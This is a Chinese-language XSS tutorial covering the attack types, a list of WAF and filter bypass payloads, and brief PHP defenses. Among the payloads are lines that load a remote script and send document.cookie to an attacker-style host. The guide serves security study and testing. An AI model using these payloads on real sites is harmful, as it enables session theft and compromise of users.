XSS概述
XSS,跨站脚本攻击(Cross Site Scripting,以下简称XSS)。XSS(跨站脚本攻击)是指攻击者在网页中嵌入客户端脚本(如JavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。比如获取用户的Cookie,导航到恶意网站,携带木马等。
XSS攻击流程
- 攻击者将恶意代码注入到 目标服务器 如论坛、留言板、邮件等
- 用户A访问这个网页
- 用户A的浏览器对网页注入的恶意脚本进行解析
- 用户A遭到攻击
XSS攻击面
XSS注入网站的位置需要满足以下特征
- 该位置过滤不严格:即可以解析执行XSS代码
- 该位置可以被其它用户访问到
XSS分类
反射型XSS(Reflected XSS)-非持久型
跨站代码一般存在于链接中,请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码一般不存储到服务端。
攻击者通过插入恶意代码到网页的URL请求中,当用户访问这个含有恶意代码的URL时,服务器接收到请求并处理,然后将带有恶意代码的数据返回给浏览器。浏览器解析这段数据并执行,整个过程类似于一次反射,因此得名反射型XSS。
DOM型XSS(DOM-based XSS)-非持久型
当参数数据能够导入到网页的DOM(文档对象模型)元素中时,可能会发生DOM型XSS。攻击者通过插入恶意代码到网页的JavaScript代码中,当用户访问网页时,这些恶意代码可能会被加载并执行。
存储型XSS(Stored XSS)-持久型
当应用允许将输入数据作为参数存储在数据库中以备后用时,可能会发生存储型XSS。攻击者插入的恶意代码被存储在数据库中,用户每次访问相应的页面,客户端均会执行一次XSS攻击语句。属于危害较严重的漏洞。
- 通杀所有人 广撒网 只要访问就中招 容易被发现
- 引诱特殊用户点击 放美女图片 或者网址 点击领钱
XSS漏洞总结
- 反射型XSS:主要体现在URL里,但是一次性的
- 存储型XSS:主要关注网站一些类似留言框,评论的地方
- DOM型XSS:与其说是XSS更像是逻辑漏洞,主要需要对前端代码进行审计,需要懂JS代码
三、XSS绕过
大小写绕过
绕过场景:程序使用了str_replace替换函数。 注意在html里不区分大小写,所以标签如果别过滤 可以采用大小写绕过的方式
<ScRipt>ALeRt("XSS");</sCRipT>
双写绕过(堆叠绕过)
- 绕过场景:程序员使用了str_ireplace或str_replace替换函数。
- 可以采用Scrscriptipt避开过滤机制是把中间的script过滤了
<Scrscriptipt>alealertrt(1)</scRiscriptpt>
空格绕过
绕过场景:程序在使用str_replace或str_ireplace函数替换空格的场景。一般用于dom型
"%0donclick%3D"alert('xss')
"/**/onclick%3D"alert('xss')
"//onclick%3D"alert('xss')
伪协议绕过
绕过场景:将on屏蔽,在a标签的href属性中可以使用伪协议来完成JavaScript操作,一般用于dom型。
1">+<a+href="javascript:alert(/xss/)">aaaa</a> <input+type="text
base64绕过
javascript:alert(/xss/)
<scRipt>eval(atob('amF2YXNjcmlwdDphbGVydCgveHNzLyk='))</scRipt>
js eval 任意代码执行
其他可以请求网路的属性
绕过场景:waf替换了location,导致不能使用location进行页面跳转,降低XSS危害
1. img 的 src 可以发起网络请求
2. script 的 src 可以发起网络请求
3. link 标签的 href 可以发起网络请求
远程js 写在攻击者服务器 攻击者可以随时调控 被攻击者那边实时被攻击
<script src="http://www.wowo.com/woniu/js/getcookie.js"></script>
img标签
<scRipt>new Image().src=`http://www.wowo.com/woniu/getcookie1.php?cookie=${document.cookie}`</scRIpt>
图片结合报错事件绕过
绕过场景:waf过滤了常用事件,我们需要使用图片结合onerror就可以绕过
<img src=xxx onerror="alert(/xss/)">
绕过小技巧
用这些字符来测试哪些被过滤了
" ' <> script onerror onclick
1.普通的
<script>alert(document.cookie)</script>
<script>alert(1)</script>
<ScRipt>alert(1)</ScRipt>
1"><ScRipt>alert(1)</ScRipt>
2.绕过htmlspecialchars方法,先闭合输入,再使用事件来绕过
onclick='alert(1)'
' onclick ='javascript:alert(1)'// ##点击鼠标触发
" onclick ='javascript:alert(1)'//
onmouseover='alert(1)' ##移动鼠标触发
3.<> script onclick被过滤,用a标签绕过
"></input><a href='javascript:alert(1)'>img</a>//
4.堆叠绕过
1"><ScscriptRipt>alert(1)</ScscriptRipt>
5.Unicode编码绕过
javascript:alert(1)
6.使用type=text来显示被隐藏的标签,再用事件
&t_sort=" type='text' onclick='javascript:alert(1)'>//
7.Referer UserAgent Cookie等地方也可以进行xss测试
referer:" type='text' onclick='javascript:alert(1)'>//
8.图片
<img src=xxxx οnerrοr=alert(1)>'
10.空格用回车编码代替
<a%0D%0Aοnclick='alert(1)'>
11.ASCII编码绕过
keyword=javascript:alert(1)
12.利用参数传递数据
" onclick='alert(1)' type="text
Referer:" onclick='alert(1)' type="text
USER_AGENT:" onclick='alert(1)' type="text
cookies:user=" onclick='alert(1)' type="text
XSS防御
实体标签防御
htmlspecialchars实体编码转换函数
$title = htmlspecialchars($title, ENT_QUOTES);
替换防御
少用str_replace多用 str_ireplace 字符串替换函数,尽量替换为有字符的字符串,不要替换为空串
$param = str_ireplace("script","js_waf",$param);
$param = str_ireplace("onkeyup","js_waf",$param);
$param = str_ireplace("location","js_waf",$param);
正则防御
preg_replace正则替换、preg_match正则匹配,正则不会不要乱用,整不好会倒开车